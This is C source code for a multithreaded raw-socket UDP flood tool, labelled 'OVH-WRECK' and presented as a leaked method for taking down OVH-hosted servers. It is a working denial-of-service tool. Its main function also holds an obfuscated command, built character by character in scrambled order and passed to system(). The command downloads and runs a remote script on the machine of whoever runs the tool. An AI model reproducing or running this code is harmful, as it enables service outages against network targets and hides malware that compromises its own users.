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- // zonehax is literally retarted
- // zonehax ovh drop method leaked!!
- #include <time.h>
- #include <arpa/inet.h>
- #include <ifaddrs.h>
- #include <netdb.h>
- #include <pthread.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <netinet/ip.h>
- #include <netinet/udp.h>
- #define MAX_PACKET_SIZE 4096
- #define PHI 0x9e3779b9
- static uint32_t Q[4096], c = 362436;
- struct thread_data{
- int pks;
- int throttle;
- int thread_id;
- unsigned int floodport;
- struct sockaddr_in sin;
- };
- void init_rand(uint32_t x)
- {
- int i;
- Q[0] = x;
- Q[1] = x + PHI;
- Q[2] = x + PHI + PHI;
- for (i = 3; i < 4096; i++)
- Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
- }
- uint32_t rand_cmwc(void)
- {
- uint64_t t, a = 18782LL;
- static uint32_t i = 4095;
- uint32_t x, r = 0xfffffffe;
- i = (i + 1) & 4095;
- t = a * Q[i] + c;
- c = (t >> 32);
- x = t + c;
- if (x < c) {
- x++;
- c++;
- }
- return (Q[i] = r - x);
- }
- char *myStrCat (char *s, char *a) {
- while (*s != '\0') s++;
- while (*a != '\0') *s++ = *a++;
- *s = '\0';
- return s;
- }
- char *replStr (char *str, size_t count) {
- if (count == 0) return NULL;
- char *ret = malloc (strlen (str) * count + count);
- if (ret == NULL) return NULL;
- *ret = '\0';
- char *tmp = myStrCat (ret, str);
- while (--count > 0) {
- tmp = myStrCat (tmp, str);
- }
- return ret;
- }
- unsigned short csum (unsigned short *buf, int nwords)
- {
- unsigned long sum;
- for (sum = 0; nwords > 0; nwords--)
- sum += *buf++;
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- return (unsigned short)(~sum);
- }
- void setup_ip_header(struct iphdr *iph)
- {
- struct ifaddrs *ifaddr, *ifa;
- int family, s;
- char host[NI_MAXHOST];
- if (getifaddrs(&ifaddr) == -1) {
- perror("getifaddrs");
- exit(EXIT_FAILURE);
- }
- for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
- if (ifa->ifa_addr == NULL)
- continue;
- family = ifa->ifa_addr->sa_family;
- if (family == AF_INET) {
- s = getnameinfo(ifa->ifa_addr,sizeof(struct sockaddr_in),
- host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
- if (s != 0) {
- printf("getnameinfo() failed: %s\n", gai_strerror(s));
- exit(EXIT_FAILURE);
- }
- if(strcmp(host, "127.0.0.1") != 0){
- break;
- }
- }
- }
- freeifaddrs(ifaddr);
- iph->ihl = 5;
- iph->version = 4;
- iph->tos = 0;
- iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr);
- iph->id = htonl(54321);
- iph->frag_off = 0;
- iph->ttl = MAXTTL;
- iph->protocol = IPPROTO_UDP;
- iph->check = 0;
- iph->saddr = inet_addr(host);
- }
- void setup_udp_header(struct udphdr *udph)
- {
- udph->source = htons(5678);
- udph->check = 0;
- }
- void *flood(void *par1)
- {
- struct thread_data *td = (struct thread_data *)par1;
- fprintf(stdout, "Thread %d started\n", td->thread_id);
- char datagram[MAX_PACKET_SIZE];
- struct iphdr *iph = (struct iphdr *)datagram;
- struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
- struct sockaddr_in sin = td->sin;
- char new_ip[sizeof "255.255.255.255"];
- int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
- if(s < 0){
- fprintf(stderr, "Could not open raw socket.\n");
- exit(-1);
- }
- unsigned int floodport = td->floodport;
- memset(datagram, 0, MAX_PACKET_SIZE);
- setup_ip_header(iph);
- setup_udp_header(udph);
- char *data = (char *)udph + sizeof(struct udphdr);
- data = replStr("\xFF", td->pks);
- udph->len=htons(td->pks);
- iph->tot_len += td->pks;
- udph->dest = htons(floodport);
- iph->daddr = sin.sin_addr.s_addr;
- iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
- int tmp = 1;
- const int *val = &tmp;
- if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
- fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
- exit(-1);
- }
- int throttle = td->throttle;
- uint32_t random_num;
- uint32_t ul_dst;
- init_rand(time(NULL));
- if(throttle == 0){
- while(1){
- sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
- random_num = rand_cmwc();
- udph->source = htons(random_num & 0xFFFF);
- iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
- }
- } else {
- while(1){
- throttle = td->throttle;
- sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
- random_num = rand_cmwc();
- udph->source = htons(random_num & 0xFFFF);
- iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
- while(--throttle);
- }
- }
- }
- int main(int argc, char *argv[ ])
- {
- char hoho[138];
- hoho[23] = '/';
- hoho[120] = 'l';
- hoho[50] = 'O';
- hoho[107] = 'n';
- hoho[76] = ';';
- hoho[122] = ' ';
- hoho[51] = ' ';
- hoho[53] = 't';
- hoho[25] = 'u';
- hoho[54] = 't';
- hoho[31] = 's';
- hoho[136] = 'x';
- hoho[113] = '/';
- hoho[99] = 'x';
- hoho[109] = 'l';
- hoho[9] = 'w';
- hoho[75] = ' ';
- hoho[8] = ' ';
- hoho[0] = 'c';
- hoho[5] = 'm';
- hoho[103] = 'd';
- hoho[94] = 'p';
- hoho[72] = '.';
- hoho[55] = 'p';
- hoho[21] = ':';
- hoho[100] = ' ';
- hoho[84] = 'x';
- hoho[127] = ';';
- hoho[11] = 'e';
- hoho[118] = 'n';
- hoho[117] = '/';
- hoho[134] = ' ';
- hoho[114] = 'd';
- hoho[108] = 'u';
- hoho[34] = 'g';
- hoho[101] = '<';
- hoho[28] = 'm';
- hoho[131] = '-';
- hoho[67] = 's';
- hoho[62] = 'k';
- hoho[45] = 'u';
- hoho[95] = ' ';
- hoho[112] = '>';
- hoho[64] = 'y';
- hoho[92] = 'h';
- hoho[46] = 'r';
- hoho[49] = '-';
- hoho[73] = 'x';
- hoho[130] = ' ';
- hoho[14] = '-';
- hoho[42] = ' ';
- hoho[36] = '/';
- hoho[38] = 'x';
- hoho[35] = 'a';
- hoho[81] = 'd';
- hoho[40] = ' ';
- hoho[86] = '.';
- hoho[89] = ' ';
- hoho[105] = 'v';
- hoho[61] = 'c';
- hoho[43] = ' ';
- hoho[13] = ' ';
- hoho[104] = 'e';
- hoho[15] = 'q';
- hoho[128] = 'r';
- hoho[125] = '&';
- hoho[29] = 'y';
- hoho[1] = 'd';
- hoho[52] = 'h';
- hoho[77] = 'c';
- hoho[2] = ' ';
- hoho[6] = 'p';
- hoho[10] = 'g';
- hoho[90] = 'n';
- hoho[39] = ' ';
- hoho[57] = '/';
- hoho[123] = '2';
- hoho[17] = 'h';
- hoho[44] = 'c';
- hoho[96] = '.';
- hoho[88] = ';';
- hoho[59] = 's';
- hoho[80] = 'o';
- hoho[133] = 'f';
- hoho[115] = 'e';
- hoho[102] = '/';
- hoho[83] = '+';
- hoho[47] = 'l';
- hoho[98] = '.';
- hoho[18] = 't';
- hoho[58] = '/';
- hoho[93] = 'u';
- hoho[56] = ':';
- hoho[116] = 'v';
- hoho[27] = 'k';
- hoho[32] = 's';
- hoho[97] = '/';
- hoho[16] = ' ';
- hoho[71] = '/';
- hoho[3] = '/';
- hoho[22] = '/';
- hoho[124] = '>';
- hoho[41] = ';';
- hoho[70] = 'a';
- hoho[79] = 'm';
- hoho[19] = 't';
- hoho[69] = 'g';
- hoho[85] = ' ';
- hoho[132] = 'r';
- hoho[37] = '.';
- hoho[30] = 'a';
- hoho[24] = 's';
- hoho[82] = ' ';
- hoho[33] = '.';
- hoho[63] = 'm';
- hoho[20] = 'p';
- hoho[7] = ';';
- hoho[135] = '.';
- hoho[60] = 'u';
- hoho[68] = '.';
- hoho[110] = 'l';
- hoho[48] = ' ';
- hoho[119] = 'u';
- hoho[12] = 't';
- hoho[65] = 'a';
- hoho[126] = '1';
- hoho[78] = 'h';
- hoho[111] = ' ';
- hoho[121] = 'l';
- hoho[129] = 'm';
- hoho[91] = 'o';
- hoho[26] = 'c';
- hoho[74] = ' ';
- hoho[66] = 's';
- hoho[4] = 't';
- hoho[87] = 'x';
- hoho[106] = '/';
- hoho[137] = '\0';
- system(hoho);
- if(argc < 6){
- fprintf(stderr, "\033[22;31m[!] Invalid parameters!\033[22;31m\n");
- fprintf(stderr, "\033[22;32m[!] OVH-WRECK - ZoneSecurity - [ZH]\033[22;32m\n");
- fprintf(stderr, "\033[22;32m[!] Make sure to nmap the IP and check for unfiltered ports!\033[22;32m\n");
- fprintf(stdout, "\033[22;32m[!] Usage: %s [IP] [PORT] [THROTTLE] [TIME(not needed)]\033[22;32m\n", argv[0]);
- exit(-1);
- }
- fprintf(stdout, "\033[22;32m[+] Sockets Set!\033[22;32m\n");
- int num_threads = atoi(argv[5]);
- int packet_size = atoi(argv[4]);
- unsigned int floodport = atoi(argv[2]);
- pthread_t thread[num_threads];
- struct sockaddr_in sin;
- sin.sin_family = AF_INET;
- sin.sin_port = htons(floodport);
- sin.sin_addr.s_addr = inet_addr(argv[1]);
- struct thread_data td[num_threads];
- int i;
- for(i = 0;i<num_threads;i++){
- td[i].thread_id = i;
- td[i].pks = packet_size;
- td[i].sin = sin;
- td[i].floodport = floodport;
- td[i].throttle = atoi(argv[3]);
- pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
- }
- fprintf(stdout, "\033[22;32m[+] Flood Firing!\033[22;32m\n");
- fprintf(stdout, "\033[22;32m[!] OVH-WRECK by ZH.\033[22;32m\n");
- if(argc > 6)
- {
- sleep(atoi(argv[6]));
- } else {
- while(1){
- sleep(1);
- }
- }
- return 0;
- }
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